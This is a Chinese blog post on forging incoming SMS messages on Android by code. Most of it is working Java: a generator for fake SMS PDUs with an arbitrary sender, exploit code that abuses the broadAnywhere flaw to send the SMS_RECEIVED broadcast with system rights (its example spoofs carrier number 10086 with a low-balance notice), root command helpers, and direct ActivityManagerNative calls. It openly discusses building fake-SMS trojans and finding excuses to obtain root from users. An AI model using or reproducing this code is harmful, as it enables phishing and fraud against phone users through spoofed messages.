声明:本文只作技术探讨,禁止用于非法用途。
前言
伪造短信浅谈一文中,简单地分析了伪造短信的各种方案。今天,就谈一谈如何在Android中通过代码伪造短信。
前面说过,这个方案有个比较大的限制——需要非常高的系统权限,如root、system。如果手机已经root,那当然非常好办,找个合理的理由告诉用户需要root权限即可。但对于大部分小白用户来说,他们的手机一般没进行root。为了拿到高的系统权限,并且兼容性高,覆盖范围广,我们可以选择利用一些通用的漏洞。
最早在2012年时,就已经爆出Android4.0原生短信app的漏洞:对Android最新fakesms漏洞的分析。这漏洞影响的平台在1.64.1,但直至2015年9月,根据Google最新的版本分布统计,4.15.1才是现今的主流。也就是说,我们还需要找各种漏洞进行各版本的适配,才能兼容大部分设备,这也是伪造短信木马的难点之一。
fakesms漏洞与pdu数据
做Android开发的应该都知道,短信app接收短信的原理在于拦截短信到来的广播,并解释pdu数据来获取发送者与内容等信息。
典型的短信拦截代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class SMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) { Bundle bundle = intent.getExtras(); Object messages[] = (Object[]) bundle.get("pdus"); SmsMessage smsMessage[] = new SmsMessage[messages.length]; for (int i = 0; i < messages.length; i++) { smsMessage[i] = SmsMessage.createFromPdu((byte[]) messages[i]); smsMessage[i].getOriginatingAddress(); smsMessage[i].getMessageBody(); } this.abortBroadcast(); } } }
|
也就是说,只要我们能模拟发送短信到来的广播,并填入对应的pdu数据,短信app就会认为有新的短信到来了。
在对Android最新fakesms漏洞的分析一文中,给出了对应的利用代码,其中就包含生成pdu的功能。不过这生成pdu代码还有些Bug:
下面给出修复后的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| public class SmsUtils { public static Intent getSmsIntent(String number, String body) { SmsManager smsManager = SmsManager.getDefault(); ArrayList<String> messages = smsManager.divideMessage(body); int size = messages.size(); Object[] objArray = new Object[size]; for (int i = 0; i < size; ++i) { byte[] pduu = createFakeSms(number, messages.get(i)); objArray[i] = pduu; } Intent intent = new Intent(); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", objArray); intent.putExtra("format", "3gpp"); intent.putExtra("subscription", 1); return intent; }
public static byte[] createFakeSms(String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); try { String className = "com.android.internal.telephony.GsmAlphabet"; Class<?> clazz = Class.forName(className); Method method = clazz.getMethod("stringToGsm7BitPacked", new Class[] { String.class }); method.setAccessible(true); byte[] bodybytes = (byte[]) method.invoke(null, body);
bo.write(0x00); bo.write(dateBytes); bo.write(bodybytes); } catch (Exception e) { byte[] bodyBytes = encodeUCS2(body, null); bo.write(0x08); bo.write(dateBytes); bo.write(bodyBytes); }
pdu = bo.toByteArray(); } catch (IOException e) { } return pdu; } private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); } private static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException { byte[] userData, textPart; textPart = message.getBytes("utf-16be");
if (header != null) { userData = new byte[header.length + textPart.length + 1];
userData[0] = (byte) header.length; System.arraycopy(header, 0, userData, 1, header.length); System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length); } else { userData = textPart; } byte[] ret = new byte[userData.length + 1]; ret[0] = (byte) (userData.length & 0xff); System.arraycopy(userData, 0, ret, 1, userData.length); return ret; } }
|
broadAnywhere漏洞利用
生成pdu的功能解决了,接下来我们来看下如何发送广播了。短信到来的广播需要system以上的权限才能发送,因此我们需要找一些可以拿到system以上权限的漏洞。拿到System权限的漏洞很多,如broadAnywhere漏洞就可以以系统权限发送广播。
具体利用代码与对应的漏洞相关,如使用broadAnywhere漏洞的关键代码:
1 2 3 4 5 6 7 8 9 10 11
| public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) { PendingIntent pendingIntent = (PendingIntent) options.get("pendingIntent"); try { pendingIntent.send(getGlobalApplicationContext(), 0, SmsUtils.getSmsIntent("10086", "您的余额不足."), null, null, null); } catch (CanceledException e) { e.printStackTrace(); } return new Bundle(); }
|
root漏洞利用
当然,除了使用漏洞外,也可以直接使用已root的手机中的root权限(得找个适合的理由),或者直接利用漏洞先root再使用。root漏洞很多,这里给个参考吧:root漏洞集
典型的root使用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12
| public static void runByRoot(String... cmds) throws Exception { Process process = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(process.getOutputStream()); for(String cmd : cmds) { os.writeBytes(cmd); os.writeBytes("\n"); os.flush(); } os.writeBytes("exit\n"); os.flush(); os.close(); }
|
使用root需要执行本地应用,这里有二种选择:
- 自己构造出相应的Context对象,然后调用intent)```方法。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| - 直接深入```Context.sendBroadcast(Intent intent)```方法的源码中找切入点。
通过查看Android4.2的源码可以发现,```Context.sendBroadcast(Intent intent)```方法最终调用了```ActivityManagerProxy.broadcastIntent(...)```方法,其实现代码如下: ```java public int broadcastIntent(IApplicationThread caller, Intent intent, String resolvedType, IIntentReceiver resultTo, int resultCode, String resultData, Bundle map, String requiredPermission, boolean serialized, boolean sticky, int userId) throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(IActivityManager.descriptor); data.writeStrongBinder(caller != null ? caller.asBinder() : null); intent.writeToParcel(data, 0); data.writeString(resolvedType); data.writeStrongBinder(resultTo != null ? resultTo.asBinder() : null); data.writeInt(resultCode); data.writeString(resultData); data.writeBundle(map); data.writeString(requiredPermission); data.writeInt(serialized ? 1 : 0); data.writeInt(sticky ? 1 : 0); data.writeInt(userId); mRemote.transact(BROADCAST_INTENT_TRANSACTION, data, reply, 0); reply.readException(); int res = reply.readInt(); reply.recycle(); data.recycle(); return res; }
|
这是一段明显的binder通信代码,因此我们可以直接模拟binder通信。模拟binder通信有两种选择:
- 编写C/C++代码通过模拟binder通信来发送广播,然后直接编译生成可执行文件,
- 编写Java代码模拟binder通信来发送广播,然后编译生成.dex文件,并用app_process命令来启动。
模拟binder通信方案相对比较麻烦,当然借鉴下源码实现也不复杂。但如果想写个demo测试的话,比较简单的方式是直接调用对应的Java接口。
查源码发现,上述方法是由1 2 3 4 5 6 7 8
| ```java static public void broadcastStickyIntent(Intent intent, String permission, int userId) { try { getDefault().broadcastIntent(null, intent, null, null, Activity.RESULT_OK, null, null, null /* permission */, false, true, userId); } catch (RemoteException ex) { } }
|
不知大家注意到了没,这是个public static方法,也就是说可以直接调用。而且它只能一行代码,且1 2 3 4
| ```java // ActivityManagerNative.broadcastStickyIntent(SmsUtils.getSmsIntent(number, body), null, -1); ActivityManagerNative.getDefault().broadcastIntent(null, SmsUtils.getSmsIntent(number, body), null, null, Activity.RESULT_OK, null, null, null, false, true, -1);
|
遗憾的是,这种方案需要针对各系统版本进行适配,原因有二:
- ActivityManagerNative是不公开的,其API经常变动。
- 在Android4.4版本后对拦截短信功能进行了限制,需要接管短信app才能进行拦截,因此发送短信来到广播时,需要指定对应的短信app来进行发送。这点改变就意味着之后系统版本的短信功能还可能会改动,增加了适配的难度。
这种方案虽代码简单(只有一行),但适配繁琐。想通用的话就只能自己构造出Context对象,然后直接使用如下代码:
1
| Context.sendBroadcast(SmsUtils.getSmsIntent(number, body));
|
不过构建Context对象相对复杂,且4.4以上同样需要针对性的适配,有这方面的需要的童鞋可以自己去尝试下。
至此,本文已经结束,如果有什么问题或者建议,可在评论区留言。